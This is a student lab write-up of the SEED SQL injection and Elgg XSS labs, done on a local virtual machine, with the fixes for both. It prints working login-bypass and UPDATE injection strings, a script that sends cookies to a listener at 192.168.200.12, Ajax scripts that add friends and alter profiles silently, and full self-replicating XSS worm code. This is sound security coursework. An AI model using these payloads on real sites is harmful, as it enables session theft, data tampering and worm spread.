20253909 2025-2026-2 《网络攻防实践》第10次作业
这次作业有两条主线:SEED SQL 注入攻击与防御、SEED XSS 跨站脚本攻击(Elgg),都在 SEED Ubuntu 16.04 32 位虚拟机里完成。SQL 注入一路从"熟悉 credential 表"开始,先在不知道密码的情况下用
admin'#、samy'#登进员工管理系统,再借员工资料编辑页把 Samy 的薪水改成自己的学号,最后用预编译语句(prepared statement)把这两个洞补上。XSS 部分围绕 Elgg 社交平台展开,从最简单的alert弹窗,到弹出/外带 Cookie,再到无感知加好友、无感知篡改别人资料,最后写出一只能自我复制、在用户之间传播的 XSS 蠕虫,并用 HTMLawed 插件做防御。整篇下来,正好把"注入—越权—外带—自动化—蠕虫化—再防御"这条 Web 攻防的完整链路走了一遍。
目录
- 一、实践内容
- 二、实践过程
- (一)实验环境搭建
- (二)SEED SQL 注入攻击与防御
- 任务一:熟悉 SQL 语句
- 任务二:对 SELECT 语句的 SQL 注入
- 任务三:对 UPDATE 语句的 SQL 注入
- 任务四:SQL 注入防御
- (三)SEED XSS 跨站脚本攻击(Elgg)
- 准备:登录 XSS Lab 并进入资料编辑
- 任务一:弹窗显示警告信息
- 任务二:弹窗显示 Cookie
- 任务三:窃取受害者的 Cookie
- 任务四:无感知地加好友
- 任务五:无感知地篡改受害者资料
- 任务六:编写 XSS 蠕虫
- 任务七:对抗 XSS 攻击
- 三、学习中遇到的问题及解决
- 四、扩展讨论:注入与 XSS 的本质,以及防御的统一思路
- 五、实践总结
- 附录:本文术语速查表
- 参考资料
一、实践内容
本次实践分两大块,都使用 SEED 实验室预置的靶场环境。
第一块是 SEED SQL 注入攻击与防御。 靶场是一个简单的员工管理 Web 应用,托管在 www.SeedLabSQLInjection.com,分管理员(特权,可管理所有员工)和普通员工(只能看/改自己)两类角色。后台数据库名为 Users,里面有一张 credential 表,存了每个员工的 eid、薪水、生日、SSN、密码等敏感信息。四个任务依次是:① 用 MySQL 客户端熟悉 credential 表与基本查询;② 在不知道密码的情况下,利用登录处的 SELECT 注入漏洞直接登入;③ 通过员工资料更新界面实施 UPDATE 注入,篡改数据库里的薪水字段;④ 用预编译语句修复上述两处漏洞。
第二块是 SEED XSS 跨站脚本攻击(Elgg)。 靶场是一个被改造过、关闭了输入过滤的社交网站 Elgg,托管在 www.xsslabelgg.com,预置了 Alice、Boby、Samy、Admin 等账号。任务从浅到深:在个人资料里嵌入 JavaScript,让访问者①弹窗、②弹出自己的 Cookie、③把 Cookie 外带给攻击者;再用 Ajax 在受害者无感知的情况下④把攻击者加为好友、⑤篡改受害者的个人资料;⑥把上面几步组合并加上"自我复制"逻辑,写成一只能在用户间传播的 XSS 蠕虫;⑦最后开启 HTMLawed 过滤插件做防御。
实验环境统一为 SEED Ubuntu 16.04 32 位虚拟机(镜像 SEEDUbuntu-16.04-32bit,默认登录用户 seed,MySQL root 默认口令 seedubuntu)。按作业要求,本次开始前我把虚拟机主机名从默认的 VM 改成了 3909ljt(学号后四位 3909 + 姓名拼音首字母 ljt),并把所有要编辑的源码文件名都加上了学号前缀 3909。下面先从在 VMware 里搭建这台 SEED 虚拟机讲起。
二、实践过程
(一)实验环境搭建
1. 新建 SEED Ubuntu 16.04 虚拟机
SEED 官方提供的是一份现成的虚拟磁盘(SEEDUbuntu-16.04-32bit.zip,解压后是 .vmdk 文件),下载链接: https://seed.nyc3.cdn.digitaloceanspaces.com/SEEDUbuntu-16.04-32bit.zip ,因此不需要从 ISO 重新安装系统,而是"新建一台虚拟机 + 挂载现有磁盘"。在 VMware Workstation 里点 文件(F) → 新建虚拟机(N)…(快捷键 Ctrl+N)启动向导(图1)。
图1:文件 → 新建虚拟机
向导第一步选 自定义(高级)(C),这样后面能手动指定磁盘、控制器等参数(图2)。
图2:选择"自定义(高级)"配置
硬件兼容性保持默认的 Workstation 16.2.x(图3)。
图3:硬件兼容性 Workstation 16.2.x
"安装客户机操作系统"这一步选 稍后安装操作系统(S)——因为我们用的是现成磁盘,不需要现在指定安装盘(图4)。
图4:稍后安装操作系统
客户机操作系统选 Linux(L),版本下拉选 Ubuntu(注意是 32 位镜像,但这里选 Ubuntu 即可,VMware 会按通用配置处理)(图5)。
图5:客户机系统选 Linux / Ubuntu
给虚拟机命名为 Ubuntu,位置放在 E:\虚拟机镜像\Ubuntu(图6)。
图6:命名虚拟机并指定位置
处理器配置为 2 个处理器、每个 1 核,共 2 核(图7);内存分配 4096 MB(图8)。
图7:处理器数量 2 × 1 核
图8:内存 4096 MB
网络类型选 使用网络地址转换(NAT)(E),让虚拟机能通过宿主机访问外网,同时各靶场域名都解析到本机回环地址(图9)。
图9:网络类型选 NAT
I/O 控制器选推荐的 LSI Logic(L)(图10),磁盘类型选 SCSI(S)(图11)。
图10:I/O 控制器 LSI Logic
图11:磁盘类型 SCSI
关键的一步——磁盘选 使用现有虚拟磁盘(E)(图12),然后点"浏览",在 E:\虚拟机镜像\ 下找到解压好的 SEEDUbuntu-16.04-32bit 文件夹(图13),选中里面的 SEEDubuntu-16.04-32bit.vmdk(图14)。
图12:使用现有虚拟磁盘
图13:定位 SEEDUbuntu-16.04-32bit 文件夹
图14:选择现有的 .vmdk 磁盘文件
最后核对一下摘要——名称 Ubuntu、磁盘是现有的 SEEDUbuntu-16.04、内存 4096、网络 NAT,确认无误点 完成(图15)。开机后就进入了 SEED Ubuntu 桌面,能看到熟悉的 SEEDLABS 壁纸(图16)。桌面右上角弹出的 "VBoxClient: the VirtualBox kernel service is not running" 是因为这份镜像里残留了 VirtualBox 的增强工具、在 VMware 下不起作用,可以忽略,不影响实验。
图15:核对摘要并完成创建
图16:SEED Ubuntu 桌面启动成功
2. 安装 VMware Tools
为了让虚拟机支持自适应分辨率、宿主机与虚拟机间复制粘贴,需要装 VMware Tools。点菜单 虚拟机(M) → 安装 VMware Tools(T)…(图17),VMware 会把工具光盘挂载到虚拟机里。
图17:虚拟机菜单 → 安装 VMware Tools
光盘挂载后,在文件管理器的 "VMware Tools" 这个盘里能看到 manifest.txt、run_upgrader.sh 以及核心的 VMwareTools-10.3.23-16594550.tar.gz(图18)。把这个 tar.gz 复制到家目录 ~(Home)下,方便操作(图19)。
图18:VMware Tools 光盘已挂载
图19:把安装包复制到家目录
打开终端(Terminator),先用 tar 解压安装包(图20)。-z 表示走 gzip 解压、-x 解包、-v 显示过程、-f 指定文件名:
cd ~
tar -zxvf VMwareTools-10.3.23-16594550.tar.gz
图20:tar -zxvf 解压安装包
解压出一个 vmware-tools-distrib 目录,cd 进去(图21):
cd vmware-tools-distrib
图21:进入 vmware-tools-distrib 目录
然后用 root 权限跑安装脚本:
sudo ./vmware-install.pl
脚本先弹了一行 sudo: unable to resolve host 3909ljt(这是改了主机名却没同步 /etc/hosts 导致的,详见后面"问题"一节),接着提示 open-vm-tools 是官方推荐方案、问是否仍要继续安装,这里输入 y 回车,后续所有配置项一路回车用默认值即可(图22)。
图22:运行 vmware-install.pl,输入 y 继续
装完后终端打印 "The configuration of VMware Tools … completed successfully.",提示重启 X 会话后生效(图23)。VMware Tools 安装完成。
图23:VMware Tools 安装成功
3. 修改主机名为 3909ljt
作业要求所有截图里的主机名必须是本人姓名拼音,所以把默认主机名 VM 改成 3909ljt。改主机名要动两个文件。先用 nano 编辑 /etc/hostname(此时提示符还是 seed@VM)(图24):
sudo nano /etc/hostname
图24:sudo nano /etc/hostname(主机名还是 VM)
把文件里原来的 VM 整行删掉,改成 3909ljt,按 Ctrl+O 回车保存、Ctrl+X 退出(图25)。
图25:/etc/hostname 改为 3909ljt
再编辑 /etc/hosts(图26):
sudo nano /etc/hosts
图26:sudo nano /etc/hosts
把 127.0.1.1 那一行后面的主机名也同步改成 3909ljt(这一行是 sudo 反查主机名用的,不改会让每条 sudo 都卡一下)。这个文件里同时能看到各靶场域名都被映射到 127.0.0.1:www.SeedLabSQLInjection.com、www.xsslabelgg.com、www.csrflabelgg.com 等——也就是说我们访问这些"网站"其实都是访问本机的 Apache(图27)。同样 Ctrl+O 保存、Ctrl+X 退出。
图27:/etc/hosts 把 127.0.1.1 同步为 3909ljt
4. 启动 Apache 与 MySQL 服务
两个靶场都是 PHP + MySQL 的 Web 应用,靠 Apache 提供服务。启动并查看 Apache 状态(图28):
sudo service apache2 start
sudo service apache2 status
输出里 Active: active (running) 表示 Apache 已经在跑,日志里的主机名也变成了 3909ljt。MySQL(数据库)一般随系统自启,下一节连库时会确认。至此环境全部就绪。
图28:启动 Apache 服务并确认 running
(二)SEED SQL 注入攻击与防御
任务一:熟悉 SQL 语句
先用 MySQL 客户端连上数据库,熟悉一下 credential 表长什么样。SEED Ubuntu 里 MySQL 的 root 默认口令是 seedubuntu,用 -u 指定用户、-p 紧跟密码(中间不留空格)(图29):
mysql -u root -pseedubuntu
成功进入 mysql> 交互界面(命令行带密码会有一行 insecure 的 warning,实验环境无所谓)。
图29:mysql -u root -pseedubuntu 登入数据库
先看有哪些库(图30):
show databases;
能看到 Users(SQL 注入靶场用的库)、elgg_xss(XSS 靶场用的库)、elgg_csrf 以及系统自带的 information_schema、mysql 等共 8 个库。
图30:show databases 查看所有数据库
切到 Users 库,看里面有哪些表(图31):
use Users;
show tables;
Database changed 之后,show tables 显示这个库里只有一张表 credential。
图31:use Users 并 show tables
把整张表查出来看看(图32):
select * from credential;
一共 6 条记录——Alice、Boby、Ryan、Samy、Ted、Admin,每条都带 ID、EID、薪水、生日、SSN 和一串 SHA1 密码哈希。Samy 的薪水是 90000、Admin 的薪水是 400000,这两个值后面会用到。
图32:select * from credential 查出全部 6 名员工
再练两条带条件的查询。按 ID 范围查前三个(图33):
select * from credential where ID <=3;
按姓名精确查 Alice(图34):
select * from credential where Name='Alice';
where Name='Alice' 这种"字符串拼在单引号里"的写法,正是后面 SELECT 注入要利用的地方——如果用户输入里能塞进一个单引号,就能改写整条 SQL 的逻辑。
图33:where ID <=3 查询前三名
图34:where Name='Alice' 按姓名查询
任务二:对 SELECT 语句的 SQL 注入
目标:在不知道任何密码的情况下登进员工管理系统。
先用 Firefox 打开靶场首页 www.seedlabsqlinjection.com,这是一个 "Employee Profile Login" 登录页(图35)。
图35:员工登录页 Employee Profile Login
在动手注入前,先了解登录表单是怎么提交的。在页面上右键 → 查看页面源代码(View Page Source)(图36),看到表单 <form action="unsafe_home.php" method="get">,用户名输入框 name="username"、密码框 name="Password"(图37)。也就是说登录请求会以 GET 方式把 username、Password 拼进 URL 提交给 unsafe_home.php。
图36:右键查看页面源代码
图37:登录表单源代码(action=unsafe_home.php,GET 提交)
接下来在用户名框里输入:
admin'#
密码框随便填几个字符(图38)。这里的原理是:后台拼 SQL 的语句是
SELECT ... FROM credential WHERE name='$input_uname' and Password='$hashed_pwd';
我们输入的 admin'# 被拼进去后,整条语句变成
SELECT ... FROM credential WHERE name='admin'#' and Password='...';
其中那个单引号 ' 提前闭合了 name 的字符串,紧跟的 # 是 MySQL 的行注释符,把后面的 and Password=... 整段注释掉了。于是 SQL 只剩 WHERE name='admin'——数据库眼里就是"查 name 为 admin 的那条记录",密码校验被完全绕过。
图38:用户名输入 admin'#,密码任意
点 Login,直接以管理员身份登入,看到 "User Details" 页面,一次性列出了 Alice、Boby、Ryan、Samy、Ted、Admin 全部 6 名员工的 EID、薪水、生日、SSN(图39)。URL 也印证了注入串:unsafe_home.php?username=admin'%23&Password=...(%23 就是 # 的 URL 编码)。
图39:admin'# 登录后看到全部员工信息
同样地,把用户名换成
samy'#
密码任意(图40),就能以普通员工 Samy 的身份登入,看到 Samy 自己的资料:Employee ID 40000、Salary 90000、SSN 32193525(图41)。普通员工只能看到自己一行,和管理员能看全部形成对比。
图40:用户名输入 samy'#
图41:samy'# 登录后看到 Samy 的个人资料
为了搞清楚"为什么管理员能看全部、普通员工只能看自己",把后台脚本 unsafe_home.php 的源码翻出来看一下。在 Firefox 地址栏直接访问文件路径 /var/www/SQLInjection/unsafe_home.php,浏览器弹出"打开方式",选 gedit 打开(图42)。
图42:用 gedit 打开 unsafe_home.php
源码开头能看到它从 GET 请求里取出 username、Password,并对密码做 sha1()(图43):
$input_uname = $_GET['username'];
$input_pwd = $_GET['Password'];
$hashed_pwd = sha1($input_pwd);
图43:unsafe_home.php 头部,从 GET 提取用户名密码
往下翻到 drawLayout() 函数,关键是这一句 if ($name !="Admin")(图44)——只有当登录者不是 Admin 时,才走"普通员工只显示自己一行"的分支;是 Admin 时则把所有人都列出来。这就是越权能看全表的根源。
图44:drawLayout 里的 if ($name != "Admin") 判定
最核心的漏洞,是那条直接用字符串拼接构造的 SELECT 语句(在终端用 vim 打开同一文件能更清楚地看到)(图45):
$sql = "SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email, nickname, PasswordFROM credentialWHERE name= '$input_uname' and Password='$hashed_pwd'";
'$input_uname' 把用户输入直接嵌进单引号里,没有任何转义或参数化——这正是 SQL 注入的标准成因。任务四会用预编译语句把它补上。
图45:unsafe_home.php 中拼接式的漏洞 SELECT 语句
任务三:对 UPDATE 语句的 SQL 注入
目标:借员工资料更新界面,篡改数据库里的字段(把 Samy 的薪水改成我的学号 20253909)。
以管理员或员工身份登录后,导航栏有个 Edit Profile,进去是资料编辑页(图46 是管理员的 Admin's Profile Edit)。同样先看一下表单结构:右键 → 查看页面源代码(图47),看到表单提交到 unsafe_edit_backend.php,NickName 输入框 name="NickName"(图48)。
图46:进入资料编辑页 Edit Profile
图47:右键查看编辑页源代码
图48:unsafe_edit_frontend.php 表单源代码
后台更新资料的 SQL 大致是这样(同样是拼接式):
UPDATE credential SET nickname='$input_nickname', email='$input_email', address='$input_address',Password='$hashed_pwd', PhoneNumber='$input_phonenumber' WHERE ID=$id;
注意它 SET 的第一项就是 nickname='$input_nickname'。于是我以 Samy 身份登录,在 NickName 框里填入下面这串注入 payload(其余框留空),点 Save(图49):
', salary='20253909' where Name='Samy';#
它被拼进去后,UPDATE 语句变成:
UPDATE credential SET nickname='', salary='20253909' where Name='Samy';#', email='', ... WHERE ID=$id;
前一个单引号闭合了 nickname 的空字符串,逗号后面追加了 salary='20253909',再用 where Name='Samy' 限定只改 Samy 这一行,末尾 # 把原语句剩下的部分(email、address、原来的 where ID 等)整段注释掉。结果就是:Samy 的薪水被改成了 20253909。
图49:在 NickName 框注入,修改 salary 为 20253909
回到首页(Home)刷新 Samy 的资料——Salary 已经从原来的 90000 变成了 20253909(图50),UPDATE 注入成功。一个本该只能改昵称的输入框,被用来改写了薪水这种敏感字段。
图50:Samy 的薪水已被改为 20253909
任务四:SQL 注入防御
思路:彻底放弃字符串拼接,改用预编译语句(Prepared Statement)+ 参数绑定(bind_param)。 预编译语句先把"带占位符 ? 的 SQL 模板"发给数据库编译定型,再把用户输入作为纯数据填进占位符——数据永远不会被当成 SQL 语法解析,注入也就无从谈起。
准备:先给要改的源码文件加学号。 为满足"编辑的文件名包含学号"的评分要求,先在 /var/www/SQLInjection/ 下把两个要改的 PHP 文件备份并重命名加上 3909 前缀,同时用 sed 把引用这些文件的地方一并改名(图51):
cd /var/www/SQLInjection/
cp unsafe_home.php unsafe_home.php.bak
cp unsafe_edit_backend.php unsafe_edit_backend.php.bak
mv unsafe_home.php 3909_unsafe_home.php
mv unsafe_edit_backend.php 3909_unsafe_edit_backend.php
sed -i 's/action="unsafe_home.php"/action="3909_unsafe_home.php"/g' index.html
sed -i 's/action="unsafe_edit_backend.php"/action="3909_unsafe_edit_backend.php"/g' unsafe_edit_frontend.php
图51:备份并把源码文件重命名加上学号 3909
修复 SELECT(登录)。 用 vim 打开 SELECT 后端文件(图52):
vim /var/www/SQLInjection/unsafe_home.php
图52:vim 打开 unsafe_home.php 准备修复
把任务二里那条拼接式 SELECT 整段替换成预编译写法:用 ? 做占位符,再用 bind_param("ss", …) 把两个字符串参数绑上去("ss" 表示两个 string 类型),最后 execute() 执行、get_result() 取结果(图53)。改完按 ESC,输入 :wq 回车保存退出:
$sql = $conn->prepare("SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email, nickname, Password FROM credential WHERE name= ? and Password= ?");
$sql->bind_param("ss", $input_uname, $hashed_pwd);
$sql->execute();
$result = $sql->get_result();
图53:用预编译语句重写登录的 SELECT
修复 UPDATE(改资料)。 先看一眼原始的漏洞代码——在 Firefox 里访问 /var/www/SQLInjection/unsafe_edit_backend.php,用 gedit 打开(图54),能看到那段拼接式的 UPDATE(图55):原代码根据"密码框是否为空"分两种情况拼 SQL,但两种都是直接 $conn->query($sql) 执行拼接串,所以都可被注入。
图54:用 gedit 打开 unsafe_edit_backend.php
图55:unsafe_edit_backend.php 中原始的漏洞 UPDATE
再用 vim 打开它来改(图56):
vim /var/www/SQLInjection/unsafe_edit_backend.php
图56:vim 打开 unsafe_edit_backend.php 准备修复
把两个分支的 UPDATE 都改成预编译 + 参数绑定(密码非空时多绑一个 Password 字段,对应 "sssss" 五个字符串参数;密码为空时是 "ssss" 四个)(图57)。同样 :wq 保存:
if($input_pwd!=''){// 密码框非空$hashed_pwd = sha1($input_pwd);$_SESSION['pwd']=$hashed_pwd;$sql = $conn->prepare("UPDATE credential SET nickname=?,email=?,address=?,Password=?,PhoneNumber=? where ID=$id;");$sql->bind_param("sssss", $input_nickname, $input_email, $input_address, $hashed_pwd, $input_phonenumber);
}else{// 密码框为空$sql = $conn->prepare("UPDATE credential SET nickname=?,email=?,address=?,PhoneNumber=? where ID=$id;");$sql->bind_param("ssss", $input_nickname, $input_email, $input_address, $input_phonenumber);
}
$sql->execute();
$conn->close();
图57:用预编译语句重写改资料的 UPDATE
验证防御效果。 改完后再回到登录页,重新尝试任务二的 admin'# 注入——这次输入里的单引号、# 都被当成普通字符当作"用户名"去匹配,匹配不到任何记录,页面不再越权登入,而是回到了报错/无结果的状态 "There was an error running the query"(图58)。注入手法对预编译语句彻底失效,防御成立。
图58:修复后再注入,已无法生效(查询报错/登录失败)
SQL 注入部分小结:
| 任务 | 关键操作 | 要点 |
|---|---|---|
| 熟悉 SQL | mysql -u root -pseedubuntu、select * from credential |
看懂 credential 表与字符串拼接的查询 |
| SELECT 注入 | 用户名填 admin'# / samy'#,密码任意 |
' 闭合字符串,# 注释掉密码校验 |
| UPDATE 注入 | NickName 填 ', salary='20253909' where Name='Samy';# |
借资料编辑改写薪水字段 |
| 防御 | prepare(...?...) + bind_param |
参数化让输入永远只当数据,不当 SQL |
(三)SEED XSS 跨站脚本攻击(Elgg)
这一块的靶场是社交网站 Elgg(域名 www.xsslabelgg.com),它被特意关掉了输入过滤,预置了 Alice / Boby / Samy / Admin 等账号(口令分别是 seedalice / seedboby / seedsamy / seedelgg)。攻击思路是存储型 XSS:把 JavaScript 藏进自己的个人资料里,别人一访问我的主页,脚本就在对方的浏览器、对方的登录会话里执行。下面 7 个任务从"弹个窗"一路升级到"会自我复制的蠕虫"。
准备:登录 XSS Lab 并进入资料编辑
先打开 www.xsslabelgg.com,首页是个登录页,"Latest activity: No activity"(图59)。页面顶部那条黄色 "One or more installed add-ons cannot be verified and have been disabled." 是 Firefox 对老插件的提示,与实验无关。
图59:XSS Lab Site 首页
用 Alice 账号登录(用户名 Alice,口令 seedalice)(图60),登录成功后右上角提示 "You have been logged in.",侧边出现 Alice(图61)。
图60:以 Alice 身份登录
图61:Alice 登录成功
进入 Alice 的个人主页,点 Edit profile 编辑资料(图62)。
图62:进入 Alice 主页并点击 Edit profile
这里有个关键点: 资料里的 "About me" 默认是富文本编辑器(可视化模式),直接粘脚本会被它转义成纯文本、无法执行。必须点编辑框右上角的 Edit HTML,切换到 HTML 源码模式,脚本才会被当成真正的 HTML/JS 存进去(图63)。后面几个写进 About me 的脚本都要先切到这个模式。而短一些的脚本我放在 "Brief description" 框(它本身就是纯文本输入、不会转义)。
图63:点击 Edit HTML 切到源码模式
任务一:弹窗显示警告信息
最基础的 XSS——让访问者弹出一个对话框。在 Brief description 框里填入带学号的 alert 脚本(图64):
<script>alert("20253909");</script>
图64:Brief description 填入 alert("20253909")
拉到页面最下方点 Save 保存(图65)。
图65:点击 Save 保存资料
保存后页面回到 Alice 主页、加载到这段脚本时立刻弹出对话框,内容正是 20253909(图66)。这说明嵌进资料的 <script> 被浏览器当成真正的脚本执行了——存储型 XSS 成立。任何访问 Alice 主页的人都会触发同样的弹窗。
图66:访问页面时弹出 20253909
任务二:弹窗显示 Cookie
把弹窗内容换成当前页面的 Cookie。Brief description 改成(图67):
<script>alert(document.cookie);</script>
图67:填入 alert(document.cookie)
保存后弹窗显示出当前会话的 Elgg Cookie:Elgg=h2oj3kvef2apr822uo610v8264(图68)。document.cookie 能被 JS 直接读到,意味着只要能注入脚本,就能拿到受害者的会话凭证——这正是下一步"窃取 Cookie"的基础。
图68:弹窗显示出 Elgg 会话 Cookie
任务三:窃取受害者的 Cookie
光弹出来还不够,要把 Cookie 外带到攻击者控制的机器上。思路是:注入的脚本动态写一个 <img>,图片地址指向"攻击者监听的地址 + Cookie 内容",浏览器为了加载这张图片就会把 Cookie 发出去;攻击者用 nc 监听端口,就能在请求里收到 Cookie。
先 ifconfig 确认本机 IP——这里既当攻击者又当受害者,ens33 网卡地址是 192.168.200.12(图69):
ifconfig
图69:ifconfig 确认本机 IP 为 192.168.200.12
在 Brief description 里填入窃取脚本,把 Cookie 拼到图片 URL 的查询参数里(端口用 1921)(图70):
<script>document.write('<img src=http://192.168.200.12:1921?c=' + escape(document.cookie) + '>');</script>
图70:填入把 Cookie 外带的窃取脚本
先在终端开一个监听(攻击者侧),-l 监听、-v 显示详情:
nc -l 1921 -v
再让受害者(这里就是 Alice 自己)访问带毒的主页。脚本一执行,浏览器去加载那张不存在的"图片",nc 这边立刻收到一条 HTTP 请求,URL 里赫然带着 GET /?c=Elgg%3Dh2oj3kvef2apr822uo610v8264——Cookie 被成功外带(图71)。攻击者拿到这串 Cookie,就能冒充受害者的会话。
图71:nc 监听 1921 端口收到外带的 Cookie
任务四:无感知地加好友
目标:受害者只要访问 Alice 的主页,就在毫不知情的情况下把 Alice 加为好友。 这本质是一次借 XSS 发起的 CSRF——用受害者的身份和凭证,替他发出"加好友"请求。
Elgg 的加好友请求带了防 CSRF 的令牌,所以得先搞清楚请求长什么样。用 Firefox 开发者工具(F12)的 Network 面板抓一次正常加好友的请求,看到它是个 GET:/action/friends/add?friend=45&__elgg_ts=...&__elgg_token=...,必须带上 friend(目标用户 guid)、__elgg_ts(时间戳)、__elgg_token(令牌)三个参数(图72)。本机实测 Alice 的 guid 是 45。
图72:开发者工具分析加好友请求的参数
好在 Elgg 页面里有现成的全局对象 elgg.security.token,能直接读到当前会话的 __elgg_ts 和 __elgg_token。于是把下面的脚本写进 Alice 的 About me(记得先 Edit HTML)——页面加载时用 XMLHttpRequest 自动发出加好友请求(图73):
<script type="text/javascript">
window.onload = function () {var Ajax = null;var ts = "&__elgg_ts=" + elgg.security.token.__elgg_ts;var token = "&__elgg_token=" + elgg.security.token.__elgg_token;var sendurl = "http://www.xsslabelgg.com/action/friends/add?friend=44" + ts + token;Ajax = new XMLHttpRequest();Ajax.open("GET", sendurl, true);Ajax.setRequestHeader("Host", "www.xsslabelgg.com");Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");Ajax.send();
}
</script>
说明:脚本里各参数之间用 & 连接(注意在 Elgg 的 HTML 编辑器里要确认存进去的是 & 而不是被转义成的 &,可在开发者工具里核对实际发出的请求)。friend= 后面跟的是要加的目标 guid。
图73:About me 中写入自动加好友脚本
验证:用受害者 Boby 登录。攻击前,Boby 看 Alice(或对应目标)的主页,好友按钮是 Add friend、好友栏 "No friends yet"(图74)。当 Boby 访问到带毒主页、脚本在 Boby 会话里执行后,页面提示 "You have successfully added Boby as a friend.",按钮变成 Remove friend(图75);再刷新确认,好友关系已经建立(图76)。整个过程 Boby 没点过任何"加好友"按钮。
图74:攻击前,好友按钮是 Add friend
图75:脚本执行后自动加好友成功
图76:刷新确认好友关系已建立
任务五:无感知地篡改受害者资料
目标:受害者访问 Alice 主页后,他自己的"About me"被悄悄改成 "This have been cracked by alice."。 原理同上,只是把 GET 加好友换成 POST 提交资料编辑表单 /action/profile/edit,并构造完整的表单字段(description 设为目标文案,其余字段和访问级别 accesslevel 一并带上)。脚本里用 if(elgg.session.user.guid!=aliceGuid) 做了个判断——只在"访问者不是 Alice 本人"时才动手,免得把自己的资料也改了。把它写进 About me(图77):
<script type="text/javascript">
window.onload = function(){var userName = elgg.session.user.name;var guid = "&guid=" + elgg.session.user.guid;var ts = "&__elgg_ts=" + elgg.security.token.__elgg_ts;var token = "&__elgg_token=" + elgg.security.token.__elgg_token;var content = token + ts + "&name=" + userName +"&description=<p>This have been cracked by alice.</p>" +"&accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2" +"&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2" +"&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2" +"&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2" +"&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;var sendurl = "http://www.xsslabelgg.com/action/profile/edit";var aliceGuid = 44;if (elgg.session.user.guid != aliceGuid) {var Ajax = null;Ajax = new XMLHttpRequest();Ajax.open("POST", sendurl, true);Ajax.setRequestHeader("Host", "www.xsslabelgg.com");Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");Ajax.send(content);}
}
</script>
图77:About me 中写入篡改资料脚本
验证:用 Boby 登录后访问 Alice 主页,再回看 Boby 自己的主页——"About me" 已经被改成了 "This have been cracked by alice."(图78),同时 Boby 的好友栏里也出现了 Alice。受害者的个人资料在无感知中被攻击者改写。
图78:Boby 的资料被改成 This have been cracked by alice.
任务六:编写 XSS 蠕虫
目标:把前面的攻击"蠕虫化"——访问者中招后,他自己的资料里也会被种上同一段攻击脚本,于是再有人访问中招者的主页又会被感染,如此自我复制、在用户间不断传播。 这正是当年著名的 MySpace "Samy worm" 的原理。
蠕虫的核心难点是"脚本如何获得自己的源码"。这里用 DOM 法:给脚本标签加 id="worm",运行时用 document.getElementById("worm").innerHTML 读到自己的内容,再拼回完整的 <script>…</script>(注意闭合标签写成 "</" + "script>",避免提前把脚本截断),用 encodeURIComponent 编码后塞进资料的 description 里一起提交。这样被写入受害者资料的,就是一份和原版一模一样、带 id="worm" 的攻击脚本。把它写进 Alice 的 About me(图79,能看到 var aliceGuid=45; 和带学号的 20253909ljt):
<script id="worm" type="text/javascript">
window.onload = function(){var headerTag = "<script id='worm' type='text/javascript'>";var jsCode = document.getElementById("worm").innerHTML;var tailTag = "</" + "script>";var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);var userName = elgg.session.user.name;var guid = "&guid=" + elgg.session.user.guid;var ts = "&__elgg_ts=" + elgg.security.token.__elgg_ts;var token = "&__elgg_token=" + elgg.security.token.__elgg_token;var content = token + ts + "&name=" + userName +"&description=<p>20253909ljt" + wormCode + "</p>" +"&accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2" +"&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2" +"&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2" +"&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2" +"&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;var sendurl = "http://www.xsslabelgg.com/action/profile/edit";alert(content);var aliceGuid = 45;if (elgg.session.user.guid != aliceGuid) {var Ajax = null;Ajax = new XMLHttpRequest();Ajax.open("POST", sendurl, true);Ajax.setRequestHeader("Host", "www.xsslabelgg.com");Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");Ajax.send(content);}
}
</script>
图79:About me 中写入 XSS 蠕虫脚本
脚本里留了一句 alert(content) 用来调试。保存后弹窗里能看到蠕虫拼好的整个提交内容——&__elgg_token=…&name=Alice&description=<p>20253909ljt%3Cscript%20id%3D'worm'…,可以清楚地看到 description 里已经包含了 URL 编码后的、带 id='worm' 的脚本自身(图80)。这证明"自我复制"的 payload 构造成功。
图80:弹窗显示蠕虫拼好的自我复制 payload
验证传播:保存后 Alice 资料里就带上了蠕虫(图81,Alice 资料成功保存、好友栏出现 Boby)。再看 Alice 主页,About me 显示出蠕虫留下的可见标记 20253909ljt(这是用受害者 Boby 的视角看到的)(图82)。最后在站点活动流(All Site Activity)里能看到蠕虫传播留下的痕迹——"Boby is now a friend with Alice"、"Alice is now a friend with Boby" 接连出现,好友关系在用户之间被自动建立(图83)。蠕虫成功地一边复制自己、一边执行加好友/改资料的载荷。
图81:Alice 资料保存,蠕虫已就位
图82:Alice 主页 About me 出现蠕虫标记 20253909ljt
图83:活动流显示好友关系被自动建立
任务七:对抗 XSS 攻击
思路:开启 Elgg 自带的 HTMLawed 插件。 前面所有攻击之所以成立,是因为靶场关掉了输入过滤——用户提交的 HTML/JS 被原样存库、原样输出。HTMLawed 是一个 HTML 白名单过滤库,开启后会把用户输入里的 <script> 等危险标签清洗掉,从源头堵住存储型 XSS。
用管理员账号 Admin(口令 seedelgg)登录(图84 是 Admin 的主页),进入站点管理后台(URL /admin),右侧 Configure 菜单里点 Plugins(图85)。
图84:以 Admin 登录
图85:进入管理后台 Plugins
在插件列表里找到 HTMLawed。做实验时它是被停用的状态(按钮显示为 "Activate",旁边写着 "Provides security filtering. Running a site with this plugin disabled is extremely insecure. DO NOT DISABLE." 这正是它被关掉后我们才能注入脚本的原因)(图86)。点 Activate 把它启用——启用后按钮变成 "Deactivate",过滤生效(图87)。
图86:HTMLawed 处于停用状态(Activate)
图87:启用 HTMLawed,安全过滤生效
HTMLawed 启用后,再往资料里写 <script>…</script> 会被过滤器清除或转义成纯文本,访问主页不会再触发任何脚本——前面六个任务的攻击全部失效,存储型 XSS 被防住。
XSS 部分小结:
| 任务 | 注入位置 / 操作 | 效果 |
|---|---|---|
